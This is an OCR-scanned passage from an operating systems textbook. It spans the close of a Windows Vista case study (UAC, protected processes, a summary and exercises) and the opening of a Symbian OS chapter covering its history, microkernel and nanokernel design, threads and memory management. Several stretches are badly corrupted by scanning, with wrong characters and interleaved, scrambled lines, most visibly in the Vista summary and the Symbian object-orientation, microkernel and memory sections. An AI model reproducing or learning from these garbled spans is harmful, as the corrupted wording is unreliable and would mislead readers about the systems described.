crash, converting a potential elevation attack into a less dangerous denial-of-ser
vice attack. 

Yet another change was the introduction of what Microsoft cans UAC (User 
Account Control). This is to address the chronic problem in _Windows where 
most users run as administrators. The design of Windows does not require users 
to run as administrators, but neglect over many releases had made it just about im
possible to use Windows successfully if you were not an administrator. Being an 
administrator all the time is dangerous. Not only can user errors easily damage 
the system, but if the user is somehow fooled or attacked and runs code that is 
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trying to compromise the system, the code will have administrative access, and 

can bury itself deep in the system. 
With UAC, if an attempt is made to perform an operation requiring adminis

trator access, the system overlays a special desktop and takes control so that only 

input from the user can authorize the access (similar to how CTRL-ALT-�EL 

works for C2 security). Of course, without becoming administrator it is possIble 

for an attacker to destroy what the user really cares about, namely his personal 

files. But UAC does help foil existing types of attacks, and it is always easier to 

recover a compromised system if the attacker was unable to modify any of the 

system data or files. 
The final security feature in Windows Vista is one we have already men� 

tjoned. 1bere is support to create protected processes which provide a security 

boundary. Nonnally, the user (as represented by a token object) defines the 

privilege boundary in the system. When a process is created, the .user has ac�ess 

to process through any number of kernel facilities for process creation, debuggmg, 

pathnames, thread injection, and so on. Protected processes are shut off from user 

access. The only use of this facility in Vista is to allow Digital Rights Man

agement software to better protect content. Perhaps use of protect� proces�es 

will be expanded in future releases to more user-friendly purposes, like secunng 

the system against attackers rather than securing content against attacks by the 

system owner. . 
Microsoft's efforts to improve the security of Windows have accelerated In 

recent years as more and more attacks have been launched against systems around 

the world. Some of these attacks have been very successful, taking entire COun

tries and major corporations offline, and incurring costs of billions of dollars. 

Most of the attacks exploit small coding errors that lead to buffer overruns, allow

ing the attacker to insert code by overwriting return addresses, exception pointers, 

and other data that control the execution of programs. Many of these problems 

could be avoided if type-safe languages were used instead of C and C++. And 

even with these unsafe languages many vulnerabilities could be avoided if stu

dents were better trained to understand the pitfalls of parameter and data valida

tion. After all, many of the software engineers who write code at Microsoft were 

students a few years earlier, just like many of you reading this case study are now. 

There are many books available on the kinds of small coding errors that are 

exploitable in pointer-based languages and how to avoid them (e.g., Howard and 

LeBlank, 2007). 

11.10 SUMMARY 

Kernel mode in Windows Vista is structured in the HAL, the kernel and exec
utive layers of NTOS, and a large number of device drivers implementing every
thing from device services to file systems and networking to graphics. The HAL 
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hides certain differences in hardware from the other components. The kernel 
layer I?an?ges the CPUs to suppOrt multithreading and synchronization, and the 
executive lmplements most kernel-mode services. 
. The executive is .based. on kernel-mode objects that represent the key execu

u.ve data structures,. lfl:ludmg processes, threads, memory sections, drivers, de
:'lces, and s�nchromzatlon objects-to mention a few. User processes create ob
�ects by callmg system services and get back handle references which can be used 
m subsequent �yste� calls to the executive components. The operating system 
also creates objects mtemally. The object manager maintains a name space into 
which objects can be inserted for subsequent lookup. 

The most important objects in Windows are processes, threads, and sections. 
Processes have virtual address spaces and are containers for resources. Threads 
are 

.
the u�it of e!'ecution and are scheduled by the kernel layer using a priority al

gonthm . In. 
whIch the highest-priority ready thread always runs, preempting 

lower-pnonty threads as necessary. Sections represent memory Objects like files 
�at can be mapped into the address spaces of processes. EXE and DLL progra� 
Image� are represented as sections, as is shared memory. 

Wmdows SUPP?rts demand-paged virtual memory. The paging algorithm is 
�ased on t�e .working-set concept. The system maintains several types of page 
lists, to �ptlmlze t�e use of memory. The various page lists are fed by trimming 
the working sets USl�g comple� formulas that try to reuse physical pages that have 
�ot been referenced 10 a long tIme. The cache manager manages virtual addresses 
In the kernel that can be used t� m�p files into memory, dramatically improving IJ? performan�e for many apphcatlons because read operations can be satisfied 
wlthou t accesslOg disk. 

I/O !s performed by device drivers, which follow the Windows Driver ModeJ. 
Each dnver starts out by initializing a driver object that contains the addresses of 
the procedures that the system can call to manipulate devices. The actual devices 
are r�p�esented by device Objects, which are created from the configuration 
descnptlOn of the system or by the plug-and-play manager as it discovers devices 
when enumerating the system buses. Devices are stacked and I/O request packets 
a:e passed down the stack and serviced by the dIivers for each device in the de
VIce stack. lIO is inherently asynchronous, and drivers commonly queue requests 
for further work and return back to their caner. File system volumes are imple
mented as devices in the I/O system. 

The NTFS file system is based on a master file table, which has one record 
per file Or directory. All the metadata in an NTFS file system is itself part of an 
NTFS file. Each file has mUltiple attributes, which can either- be in the MFf 
rec?rd Or nonresi�ent

. 
(store� in blocks outside the MFr). NTFS supports 

Umcode, compreSSIOn, Journahng, and encryption among many other features. 
Finally, Windows Vista has a sophisticated security system based on access 

control lists and integrity levels. Each process has an authentication token that 
tells the identity of the user�d what special privileges the process has, if any. 
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12. Name two ways to give better response time to the threads in important processes. 

13. Even when there is plenty of free memory available, and the memory manager does 
not need to trim working sets, the paging system can still frequently be writing to disk. 
Why? 

14. If a region of virtual address space is reserved but not committed, do you think a VAD 
is created for it? Defend your answer. 

15. Which of the transitions shown in Fig. 1 1-36 are policy decisions, as opposed to re
quired moves forced by system events (e.g., a process exiting and freeing its pages)? 

16. Suppose that a page is shared and in two working sets at once. If it is evicted from 
one of the working sets, where does it go in Fig. 1 1 -36? What happens when it is 
evicted from the second working set? 

17. When a process unmaps a clean stack page, it makes the transition (5) in Fig. 1 1 -36. 
Where does a dirty stack page go when unmapped? Why is there no transition to the 
modified list when a dirty stack page is unmapped? 

18. Suppose that a dispatcher object representing some type of exclusive lock (like a 
mutex) is marked to use a notification event instead of a synchronization event to 
announce that the lock has been released. Why would this be bad? How much would 
the answer depend on lock hold times, the length of quantum, and whether the system 
was a multiprocessor? 

19. A file has the following mapping. Give the MFf run entries. 
Offset 
Disk address 

o I 2 3 4  5 6 7 8  
50 5 1  52 22 24 25 26 53 54 

9 10 
60 

20. Consider the MFf record of Fig. 1 1-43. Suppose that the file grew and a 10th block 
was assigned to the end of the file. The number of this block is 66. What would the 
MFf record look like now? 

21. In Fig. 1 1-46(b), the first two runs are each of length 8 blocks. Is it just an accident 
that they are equal, or does this have to do with the way compression works? Explain 
your answer. 

22. Suppose that you wanted to build Windows Vista Lite. Which of the fields of 
Fig. 1 1-47 could be removed without weakening the security of the system? 

23. An extension model used by many programs (Web browsers, Office, COM servers) 
involves hosting DLLs to hook and extend their underlying functionality. Is this a rea
sonable model for an RPC-based service to use as. long as it is careful to impersonate 
clients before loading the DLL? Why not? 

24. When running on a NUMA machine, whenever the Windows memory manager needs 
to allocate a physical page to handle a page fault it attempts to use a page from the 
NUMA node for the current thread's ideal processor. Why? What if the thread is cur
rently running on a different processor? 

25. Give a couple of examples where an application might be able to recover easily from a 
backup based on a volume shadow copy rather the state of the disk after a system 
crash . 
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26. In Sec. 1 1.9, providing new memory to the process heap was mentioned as one of the 
scenarios that require a supply of zeroed pages in order to satisfy security require
ments. Give one or more other examples of virtual memory operations that require 
zeroed pages. 

27. The regedit command can be used to export part or all of the registry to a text file 
under all current versions of Windows. Save the registry several times during a work 
session and see what changes. If you have access to a Windows computer on which 
you can install software or hardware, find out what changes when a program or device 
is added or removed. 

28. Write a UNIX program that simulates writing an NTFS file with multiple streams. It 
should accept a list of one or more files as arguments and write an output file that con
tains one stream with the attributes of all arguments and additional streams with the 
contents of each of the arguments. Now write a second program for reporting on the 
attributes and streams and extracting aU the components. 

CASE STU DY 3: SYM BIAN OS 

In the previous two chapters, we have examined two operating systems popu
lar on desktops and notebooks: Linux and Windows Vista. However, more than 
90% of the CPUs in the world are not in desktops and notebooks. They are in em
bedded systems like cell phones, PDAs, digital cameras, camcorders, game ma
chines, iPods, MP3 players, CD players, DVD recorders, wireless routers, TV 
sets, GPS receivers, laser printers, cars, and many more consumer products. Most 
of these use modern 32-bit and 64-bit chips, and nearly all of them run a full
blown operating system. But few people are even aware of the existence of these 
operating systems. In this chapter we will take a close look at one operating sys
tem popular in the embedded-systems world: Symbian OS. 

Symbian OS is an operating system that runs on mobile «smartphone" plat
forms from several different manufacturers. Smartphones are so named because 
they run fully featured operating systems and utilize the features of desktop com
puters. Symbian OS is designed so that it can be the basis of a wide variety of 
smartphones from several different manufacturers. It was carefully designed spe
cifically to run on smartphone platforms: general-purpose computers with limited 
CPU, memory and storage capacity, focused on communication. 

OUf discussion of Symbian as will start with its history. We will then pro
vide an overview of the system to give an idea of how it is designed and what uses 
the designers intended for it. Next we will examine the various aspects of Sym
bian OS design as we have for Linux and for Windows: we will look at processes, 
memory management, I/O, the file system, and security_ We will conclude with a 
look at how Symbian OS addresses communication in smartphones. 

92S 
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12.1 THE HISTORY OF SYMBIAN OS 
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In 1996, Psion started to design a new 32-bit operating system that supported 
pointing devices on a touch screen, used multimedia, and was more communica
tion rich. The new system was also more object-oriented, and was to be portable 
to different architectures and device designs. The result of Psion's effort was the 
introduction of the system as EPOe Release 1 .  EPOe was programmed in C++ 
and was designed to be object-oriented from the ground up. It again used the 
engine approach and expanded this design idea into a series of servers that coordi
nated access to system services and peripheral devices. EPOe expanded the com
munication possibilities, opened up the operating system to multimedia, intro
duced new platfonns for interface items like touch screens, and generalized the 
hardware interface. 

EPOC was further developed into two more releases: EPOe Release 3 (ER3) 
and EPOe Release 5 (ER5). These ran on new platforms like the Psion Series 5 
and Series 7 computers. 

Psion also looked to emphasize the ways that its operating system could be 
adapted to other hardware platforms. Around the year 2000, the most opportuni
ties for new handheld development were in the mobile phone business, where 
manufacturers were already searching for a new, advanced operating system for 
its next generation of devices. To take advantage of these opportunities, Psion 
and the leaders in the mobile phone industry, including Nokia, �Ericsson, 
Motorola, and Matsushita (Panasonic), fonned a joint venture, called Symbian, 
which was to take ownership of and further develop the EPOe operating system 
core. This new core design was now called Symbian OS. 

12.1.2 Symbian OS Version 6 

Since EPOC's last version was ER5, Symbian OS debuted at version 6 in 
2001. It took advantage of the flexible properties of EPOe and was targeted at 
several different generalized platfonns. It was designed to be flexible enough to 
meet the requirements for developing a variety of advanced mobile devices and 
phones, while allowing manufacturers the opportunity to differentiate their pro
ducts. 

It was also decided that Symbian OS would actively adopt current, state-of
the-art key technologies as they became available. This decision reinforced the 
design choices of object orientation and a client-server architecture as these were 
becoming widespread in the desktop and Internet worlds. 

Symbian OS version 6 was called "open" by its designers. This was different 
than the "open source" properties often attributed to UNIX and Linux. By Hopen," 
Symbian OS designers meant that the structure of the operating system was pub� 
lished and available to all. In addition, all system interfaces were published to 
foster third�party software design. 
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12.1.3 Symbian OS Version 7 

Symbian OS version 6 looked very much like its EPOe and version 6 pre�e
cessors in design and function. The design focus had been to embrace mobIle 
telephony. However, as more and more manufacturers designed mobile phones, it 
became obvious that even the flexibility of EPOe, a handheld operating system, 
would not be able to address the plethora of new phones that needed to use Sym
bian OS. 

Symbian OS version 7 kept the desktop functionality of EPOe, but most sys
tem internals were rewritten to embrace many kinds of smartphone functionality. 
The operating system kernel and operating system services were separated from 
the user interface. The same operating system could now be run on many different 
smartphone platforms, each of which used a different user interface system. Sym
bian as could now be extended to address new and unpredicted messaging for
mats, for example, or could be used on different smartphones that used different 
phone technologies. Symbian OS version 7 was released in 2003. 

12.1.4 Symbian OS Today 

Symbian OS version 7 was a very important release because it built abstrac
tion and flexibility into the operating system. However, this abstraction came at a 
price. The performance of the operating system soon became an issue that needed 
to be addressed. 

A project was undertaken to completely rewrite the operating system again, 
this time focusing on performance. The new operating system design was to retain 
the flexibility of Symbian OS version 7 while enhancing performance and making 
the system more secure. Symbian OS version 8, released in 2004, enhanced the 
performance of Symbian as, particularly for its real-time functions. Symbian OS 
version 9, released in 2005, added concepts of capability-based security and gate
keeping installation. Symbian OS version 9 also added'the flexibility for hardware 
that Symbian OS version 7 added for software. A new binary model was de
veloped that allowed hardware developers to USe Symbian OS without redesigning 
the hardware to fit a specific architectural model. 

12.2 AN OVERVIEW OF SYMBIAN OS 

As the previous section demonstrates, Symbian OS has evolved from a hand
held operating system to an operating system that specifically targets real-time 
performance on a smartphone platfonn. This section will provide a general intro
duction to the concepts embodied in the design of Symbian OS. These concepts 
directly correspond to how the operating system is used. 
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Symbian OS is unique among operating systems in that it was designed with 
smartphon

.
es as the 

.
ta:get pl�tform. It is not a generic operating system shoe

horne� (WIth great dIffIculty) mto a smartphone, nor is it an adaptation of a larger 
operatmg system for a smaller platform. It does, however, have many of the fea
tures of other, �arg

,
er operating systems, from multitasking to memory man

agement to secunty '1.ssues. !he �redec�ssors t? SY�bian OS have given it their best features. Symbian 
O� �s ?bJect-onented, mhented from EPOe. It uses a microkernel deSign, which 
mInImIzes keI?el overhe�d and pushes nonessential functionality to user-level 
pr?c�sses, as l�troduced In version 6. It uses a client/server architecture, which 
mlm.lcs the e�gm� model buil� into �POc. It supports many desktop features, in
:ludl�g multlta�king .and multIthreadmg, and an extensible storage system. It also 
mhen�ed a multImedIa and communication emphasis from EPOe and the move to 
Symblan OS. 

12.2.1 Object Orientation 

. <?bject o�ientation is a tenn that implies abstraction. An Object oriented de
SIgn �s a ?eslgn that creates an abstract entity called an object of the data and �nct1?nahty o

,
f a system c�mponent. An object provides specified data and func

tIonalIty but hIdes the detaIls of implementation. A propedy implemented object 
c�n be removed and replaced by a different object as long as the way that other 
pIeces of the system use that object, that is, as long as its interface remains the 
same. 

When applied to operating system design, object orientation means that all 
lise of system cal!s and kernel-side features is through interfaces with no access to 
actu�l data or rehance on any type of implementation. An object-oriented kernel 
prOVIdes ker�el �ervices .through objects. Using kernel-side objects usually means 
that an apphc.atl�n .obtams a handle, that is, a reference, to an object, then ac
cesses that object s mterface through this handle. 

. Sym�ian OS is Object-oriented by design. Implementations of system facili
tre: are hIdden; usage of s

,
ystem data is done through defined interfaces on system 

Objects. Whe�e an operatmg syst�m like Linux might create a file descriptor and 
us: that descnptor as a parameter m an open call, Symbian OS would create a file 
?�jtct. and call the open. method connected to the Object. For example, in Linux , 
�t IS WIdely known that fIle descriptors are integers that index a table in the operat-
109 system's memory; in Symbian OS, the implementation of file system tables is 
unknown, and all file system manipulation is done through objects of a specific 
file class. 

. 
Note that Sym?ian �S differs from other operating systems that use object

onented concepts III deSIgn. For example, many operating system deSigns use 
abstract data type�; one co�l? even argue that the whole idea of a system call im
plements abstractlOn by hIdmg the details of system implementation from user 
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I Symbian OS obJ"eet orientation is designed into the entire operating programs. n , . . II al as-s stem framework. Operating system functionalIty and system c� s �re ways y . d 'th system obJ"eets Resource allocation and protectIOn IS focused on SOClate WI . . the allocation of objects, not on implementatiOn of system calls. 

12.2.2 Microkernel Design 

B "lding upon the object-oriented nature of the operating system, th� kernel 
til f Symbl" an OS has a microkernel design. Minimal system functIOns and structure 0 . data are in the kernel; many system functions have been pushed out to u�er-space 

The servers do their work by obtaining handles to system objects and :���� system calls through these objects into the kernel when necessary. User
s ace applications interact with these servers r�ther than make system calls. p 

Microkernel�based operating systems typIcally take up much less memo� 
u on boot and their structure is more dynamic. Servers can be .started as needed, 
n�t all servers are required at boot time. Microkemels usually Implement a plug
gable architecture with support for system modules that can ?e loaded needed and 

lu Qed into the kerneL Thus, microkemels are very flexIble: code to support �e':functiona1ity (for example, new hardware drivers) can be loaded and plugged 
in any time. . Ac Symbian OS was designed as a microkernel-based operatmg system. . cess 
t t m resources is done by opening connections to resource servers that m turn 
c����i�ate access to the resources themselves. Symbian .05 sports a pluggal?l� ar
chitecture for new implementations. New imp.lemen�at1ons f�r system functions 
can be designed as system objects and dynamIcally mserted mto the kernel. For 
example, new file systems can be implemented and added to the kernel as the op
erating system is running. . 

11 . This microkernel design carries some issues. �here a smgle system ca IS 
sufficient for a conventional operating system, a microkernel uses mes.sag� pass
ina Performance can suffer because of the added overhead of commun�catlOn be
t:�en objects. The efficiency of functions that stay in �ernel space 1ll conven
tional operating systems is diminished when thos� functIOns are moved to user 

F example the overhead of multiple functIOn calls to schedule processes space. or , 
h d I' . W' ndows ker can diminish performance when compared to process �c e u mg m 1 -

nei that has direct access to kernel data .struct�res . . S:nce messages p�ss between 
user space and kernel space objects, SWItches III pnvllege levels are IIkel! to �c
cur further complicating performance. Finally, where system c�lls work l� � sm
ale

' address space for conventional designs, this message passmg a�d pnvdege :witching implies that two or more address spaces must be used to Implement a 
microkemel service request. . . These perfonnance issues have forced the deSIgners ?f Symbl�n OS (�s well 

ther microkernel based systems) to pay careful attentIon to deSIgn and Imple�e�tation details. The emphasis of design is for minimal, tightly focused servers. 
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12.2.3 The Symbian OS Nanokernel 
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Symbian OS deSigners have addressed microkernel issues by implementing a 
nanokernel structure at the core of the operating system's design. Just as certain 
system functions are pushed into user-space servers in microkernels, the design of 
Symbian OS separates functions that require complicated implementation into the 
Symbian OS kernel and keeps only the most basic functions in the nanokernel, the 
operating system's core. 

The nanokernel provides some of most basic functions in Symbian OS. In the 
nanokernel, simple threads operating in privileged mode implement services that 
are very primitive. Included among .the implementations at this level are scheduI� 
ing and synchronization operations, interrupt handling, and synchronization ob
jects, such as mutexes and semaphores. Most of the functions implemented at this 
level are preemptible. Functions at tltts level are very primitive (so that they can 
be fast). For example, dynamic memory allocation is a function too complicated 
for a nanokernel operation. 

This nanokernel design requires a second level to implement more complicat
ed kernel functions. The Symbian OS kernel layer provides the more complicat
ed kernel functions that are needed by the rest of the operating system. Each oper
ation at the Symbian OS kemel level is a privileged operation and comqines with 
the primitive operations of the nanokernel to implement more complex kernel 
tasks. Complex object services, user-mode threads, process scheduling and con
text switching, dynamic memory, dynamically loaded libraries, complex syn
chronization, objects and interprocess communication are just some of the opera
tions implemented by this layer. This layer is fully preemptible, and interrupts can 
cause this layer to reschedule any part of its execution even in the middle of con� 
text switChing! 

Fig. 12-1 shows a diagram of the complete Symbian OS kernel structure, 

12.2.4 ClienUServer Resource Access 

As we mentioned, Symbian OS exploits its microkernel design and USes a cli
ent/server model to aCCess system resources. Applications that need to access sys
tem resources are the clients; servers are programs that the operating system runs 
to coordinate access to these resources. Where in Linux one might call open to 
open a file or in Windows one might use a Microsoft API to create a window. in 
Symbian OS both sequences are the same: first a connection must be made to a 
server, the server must acknowledge the connection, and requests are made to the 
server to perform certain functions. So opening a file means finding the file ser
ver, calling connect to set up a connection to the server, and then sending the ser
ver an open request with the name of a specific file. 

There are several advantages of this way of protecting resources. First, it fits 
with the design of the operating system-both as an object oriented system and as 
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Figure 12-1. The Symbian as kernel structure has many layers. 

a microkernel-based system. Second, this type of architecture is qu�te e!fectiv� 
for manacrincr the multiple accesses to system resources that a multlt�king an 

multithre�ded operating system would require. Final�y, each server IS able t� 
focus on the resources it must manage and can be easIly upgraded and swappe 

out for new designs. 

12.2.5 Features of a Larger Operating System 

Despite the size of its target computers, Symbian OS has many of the features 

of its larger siblings. While you can expect to see the kind of support you see on 

1ar er 0 erating systems like Linux and Windows, you shoul� expect to fi�d the�e 

fea�ure/in a different form. Symbian OS has many features III common WIth lare-

er operating systems. 

Processes and Threads: Symbian as is a multitasking and multithreade.
d 

operating system. Many processes can n:n concurrently, can �ommum

cate with each other, and can utilize multiple threads that run mtemal to 

each process. 

Common File System Support: Symbian as organize� access to system 

storao-e using a file system model, just like larger operatmg systeI?s. It has 

a default file system compatible with Window� (by defaul�, It u�es
o 

a 

FAT -32 file system); it supports other file system Impl�mentatIons usmc> a 

lug-in style interface. Symbian as supports several dlfferent types of file ;ystems, including FAT-16 and FAT-32, NTFS, and many storage card 

formats (for example, JFFS). 

Networking: Symbian OS supports TCP/IP
. 
ner.w0rking as well as several 

other c.ornmunication interfaces, such as senal, mfrared, and Bluetooth. 
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Memory management: Although Symbian OS does not use (or have the 
facilities for) mapped virtual memory, it organizes memory access in 
pages and allows for the replacement of pages, that is, bringing pages in, 
but not swapping them out. 

12.2.6 Communication and Multimedia 
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Symbian as was built to facilitate communication in many forms. We can 
hardly provide an overview of it without mentioning communication features. 
The modeling of communication conforms to both object orientation and a 
microkemel, client/server architecture. Communication structures in Symbian OS 
are built in modules, allowing new communication mechanisms to be grafted into 
the operating system easily. Modules can be written to iPlPlement anything from 
user-level interfaces to new protocol implementations to new device dIivers. Be
cause of the microkernel design, new modules can be introduced and loaded into 
the operation of the system dynamically. 

Symbian OS has some unique features that come from its focus on the smart
phone platform. It has a pluggable messaging architecture-one where new mes
sage types can be invented and implemented by developing modules that are dy
namically loaded by the messaging server. The messaging system has been de
signed in layers, with specific types of object implementing the various layers. 
For example, message transport objects are separate from message type objects. A 
form of message transport, say, cellular wireless transport (like CDMA), could 
transport several different types of messages (standard text message types, SMS 
types, or system commands like BIO messages). New transport methods can be 
introduced by implementing a new object and loading it into the kernel. 

Symbian OS has been designed at its core with APls specialized for multi
media. Multimedia devices and content are handled by special servers and by a 
framework that lets the user implement modules that describe new and existing 
content and what to do with it. In much the same way messaging is implemented, 
multimedia is supported by various forms of objects, designed to interact with 
each other. The way sound is played is designed as an object that interacts with 
the way each sound format is implemented. 

12.3 PROCESSES AND THREADS IN SYMBlAN OS 

Symbian OS is a multitasking operating system that uses the concepts of proc
esses and threads much like other operating systems do. However, the structure of 
the Symbian as kernel and the way it approaches the possible scarcity of re
sources influences the way that it views these multitasking objects. 
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12.3.1 Threads and Nanothreads 

Instead of processes as the basis for multitasking, Symbian OS
. 
favors th:eads 

and is built around the thread concept. Threads fann the central um� of multitask

ing. A process is simply seen by the operating system as a collectlon of threads 

with a process control block and some memory space. . 
Thread support in Symbian OS is based in the nanokernel wl�h nanothreads. 

The nanokernel provides only simple thread support; each thread IS supported by a 

nanokerneI-based nanothread. The nanokernel provides f?f �anothre�d schedul

ino-, synchronization (interthread communication), and tIrol
.
ng ser:1ces. �ano

th�eads run in privileged mode and need a stack to :tore theIr run-lime enVlfOll-

ent data Nanothreads cannot run in user mode. ThIS fact means that the operat

�g syste� can keep close, tight control over each o�e. Eac
.
h nanothread needs

.
: 

. . I t of data to run' basically the locatIon of Its stack and how bII;> 
very mInIma se . ,  

. h h 
that stack is. The operating system keeps control of e�erythI�g else, suc as t e 

code each thread uses, and stores a thread's context on ItS run-tIme stack. 

Nanothreads have thread states like processes have states. The model �s�d by 

the Symbian OS nanokernel adds a few states t� the basic modeL In addItIon to 

the basic states, nanothreads can be in the followmg states: 

Suspended. This is when a thread suspends another t�read and is meant 
to be different from the waiting state, where a thread IS blocked by so�e 
upper layer object (e.g., a Symbian OS thread). 

Fast Semaphore Wait. A thread in this sta:e is waiting for a fast sema
phore-a type of sentinel variable-to be sIgnaled. Fast semaphores are 
nanokernel level semaphores. 

DFC ·Wait. A thread in this state is waiting for -a del�yed f�nctio� cal� or 
DFC to be added to the DFC queue. DFCs are used In devIce dnver Im
plementation. They represent calls t? the kernel that can be queued and 
scheduled for execution by the Symblan OS kernel layer. 

Sleep. Sleeping threads are waiting for a specific amount of time to 
elapse. 

Other There is a oeneric state that is used when developers implement 
extra �tates for na;othreads. Developers do this when they �xtend the 
nanokernel functional for new phone platforms (caUed personalIty l��ers). 
Developers who do this must also implement how states are transItIoned 
to and from their extended implementations. 

Compare the nanothread idea with the conventional idea Of.
a 

'
process. A na:o-

thread is essentially an ultra light-weight process. It has a nllnI-context that bets 
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switched as nanothreads get moved onto and out of the processor. Each nano
thread has a state, as do processes. The keys to nanothreads are the tight control 
that the nanokernel has over them and the minimal data that make up the context 
of each one. 

Symbian OS threads build upon nanothreads; the kernel adds support beyond 
what the nanokernel provides. User mode threads that are used for standard appli
cations are implemented by Symbian OS threads. Each Symbian OS thread con
tains a nanothread and adds its own run-time stack to the stack the nanothread 
uses. Symbian OS threads can operate in kernel mode via system calls. Symbian 
OS also add exception handling and exit signaling to the implementation. 

Symbian OS threads implement their own set of states on top of the nano
thread implementation. Because Symbian OS threads add some functionality to 
the minimal nanothread implementation, the new states reflect the new ideas built 
into Symbian OS threads. Symbian OS adds seven new states that Symbian OS 
threads can be in, focused on special blocking conditions that can happen to a 
Symbian OS thread. These special states include waiting and suspending on (nor
mal) semaphores, mutex variables, and condition variables. Remember that, be
cause of the implementation of Symbian OS threads on top of nanothreads, these 
states are implemented in tenns of nanothread states, mostly by using the 
suspended nanothread state in various ways. 

12.3.2 Processes 

Processes in Symbian OS, then, are Symbian OS threads grouped together 
under a single process control block structure with a single memory space. There 
may be only a single thread of execution or there may be many threads under one 
process control block. Concepts of process state and process scheduling have al
ready been defined by Symbian OS threads and nanothreads. Scheduling a proc
ess, then, is really implemented by scheduling a thread and initializing the right 
process control block to use for Hs data needs. 

Symbian OS threads organized under a single process work together in sever
al ways. First, there is a single main thread that is marked as the starting point for 
the process. Second, threads share scheduling parameters. Changing parameters, 
that is, the method of scheduling, for the process changes the parameters for all 
threads. Third, threads share memory space objects, including device and other 
object descriptors. Finally, when a process is terminated, the kernel tenninates all 
threads in the process. 

12.3.3 Active Objects 

Active objects are specialized fonns of threads, implemented in a such a way 
as to lighten the burden they place on the operating environment. The deSigners of 
Symbian OS recognized the fact that there would be many situations where a 
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example, sockets that work over TCPIIP in a networking environment can be easily adapted to work over a Bluetooth environment by changing parameters in the type of socket used. Most of the rest of the data exchange work in such a switchover is done by the operating system. Symbian OS implements the standard synChronization primitives that One would find in a general purpose operating system. Several forms of semaphores and mutexes are in wide use across the operating system. These provide for synchronizing processes and threads. 

12.4 MEMORY MANAGEMENT 

Memory management in systems like Linux and Windows employs many of the concepts we have written about to implement management of memory resources. Concepts such as virtual memory pages built from physical memory frames, demand-paged virtual memory, and dynamic page replacement combine to give the illusion of near limitless memory resources, where physical memory is supported and extended by storage such as hard disk space. As an effective general-purpose operating system, Symbian OS must also provide a memory management model. However, since storage on smartphones is usually quite limited, the memory model is restricted and does not use a virtual memory/swap space model for its memory management. It does, however, USe mostof the other mechanisms we have discussed for managing memory, including hardware MMUs. 

12.4.1 Systems with No Virtual Memory 

Many computer systems do not have the facilities to provide full-blown virtual memory with demand paging. The only storage available to the operating system on these platforms is memory; they do not come with a disk drive. Because of this, most smaller systems, from PDAs to smartphones to higher-level handheld devices, do not support a demand-paged virtual memory. Consider the memory space used in most small platform devices. Typically, these systems have two types of storage: RAM and flash memory. RAM stores the operating system code (to be used when the system boots); flash memory is used for both operating memory and permanent (file) storage. Often, it is possible to add extra flash memory to a device (such as a Secure Digital card), and this memory is used exclusively for permanent storage. The absence of demand-paged virtual memory does not mean the absence of memory management. In fact, most smaller platforms are built on hardware that includes many of the management features of larger systems. This includes features such as paging, address translation, and virtual /physical address abstraction. The absence of virtual memory simply means that pages cannot be swapped from 
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flash memory. 
. Memory management consists of the followmg tasks: 

Management of application size: The size of an application-b?th co�e 
and data-has a strong effect on how memory is used. It r�qUlre� skill 
and discipline to create small software. The push to use objec�-onented 
design can be an obstacle here (more objects means more �ynaImc memo
ry allocation, which means larger heap s�ze�). �ost operatlOg systems for 
smaller platforms heavily discourage statIc lmking of any modules. 
Heap management: The heap-the space for dynamic memory alloc�
tion-must be managed very tightly on a smaller platfonn. Heap space. IS 
typically bounded on smaller platforms to force pr�grammers to reclaIm 
and reuse heap space as much as possi?le. Ventunng beyond the boun
daries results in errors in memory allocatIon. 
Execution in-place: Platfonns with no disk drives usually .support ex�cu
tion in-place What this means is that the flash memory IS x:napped mto 
the virtual address space and programs can be executed. duectly from 
flash memory, without copying them into RAM .first. Domg so reduces 
load time to zero, allowing applications to start Instantly, and also does 
not require tying up scarce RAM. 
Loadin DLLs: The choice of when to load DLLs can affe�t t�e p�rcep
tion of ;ystem perfonnance. Loading all DLLs when an apphc�tlon 1S fust 
loaded into memory, for example, is more acceptable than 10a�Ing �em at 
sporadic times during execution. Users will better accept lag tlme m load
ing an application than delays in execution. Note that DLLs .may not need 
to be loaded. This might be the case if -(a) they ar� alre�dy m memory or 
(b) they are contained on external flash storage (m WhICh case, they can 
be executed in place). 

Offload memory management to hardware: If there is �n a�ailable 
MMU, it is used to its fullest extent. In fact, the more func�onahty that 
can be put into an MMU, the better off system performance wIll be. 

Even with the execution in-place rule, small platfo�s still need. memory that 
is reserved for operating system operation. This memory IS .shared WIth �ennanent 
storage and is typically managed in one of two ways. Fl:st, a very SImple ap
roach is taken by some operating systems and memo� IS not �aged at all. In ihese types of systems, context switching means allocatlng operatmg space, �:.P 

space, for instance, and sharing this operating space between all processes. IS 
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method uses little to no protection between process memory areas and trusts proc
esses to function well together. Palm OS takes this simple approach to memory 
management The second method takes a more disciplined approach. In this 
method, memory is sectioned into pages and these pages are allocated to operating 
needs. Pages are kept in a free list managed by the operating system and are allo
cated as needed to both the operating system and user processes. In this approach 
(because there is no virtual memory) when the free list of pages is exhausted, the 
system is out of memory and no more allocation can take place. Symbian OS is an 
example of this second method. 

12.4.2 How Symbian OS Addresses Memory 

Since Symbian OS is a 32-bit operating system, addresses can range up to 4 
GB. It employs the same abstractions as larger systems: programs must use virtu
al addresses, which get mapped by the operating system to physical addresses. As 
with most systems, Symbian OS divides memory into virtual pages and physical 
frames. Frame size is usually 4 KB, but can be variable. 

Since there can be up to 4 GB of memory, a frame size of 4 KB means a page 
table with over a million entries. With limited sizes of memory, Symbian as can
not dedicate 1 MB to the page table. In addition, the search and acces� times for 
such a large table would be a burden to the system. To solve this, Symbian OS 
adopts a two-level page table strategy, as shown in Fig. 12-2. The first level, call
ed the page directory, provides a link to the second level and is indexed by a por
tion of the virtual address (first 12  bits). This directory is kept in memory and is 
pointed to by the TIER (translation table base register). A page directory 
-entry points into the second level, which is a collection of page tables. These 
tables provide a link to a specific page in memory and are indexed by a portion of 
the virtual address (middle 8 bits). Finally. the word in the page referenced is 
indexed by the low-order 12 bits of the virtual address. Hardware assists in this 
virtual-to-physical address mapping calculation. While Symbian OS cannot as
sume the existence of any kind of hardware assistance, most of the architectures it 
is implemented for have MMUs. The ARM processor, for example, has an exten
sive MMU, with a translation lookaside buffer to assist in address computation. 

When a page is not in memory, an error condition OCcurs because all applica
tion memory pages should be loaded when the application is started (no demand 
paging). Dynamically loaded libraries are pulled into memory explicitly by small 
stubs of code linked into the application executable, not by page faults. 

Despite the lack of swapping, memory is surprisingly. dynamic in Symbian 
OS. Applications are context switched through memory and, as stated above, have 
their memory requirements loaded into memory when they start execution. The 
memory pages each application requires can be statically requested from the oper
ating system upon loading into memory. Dynamic space-that is, for the heap-
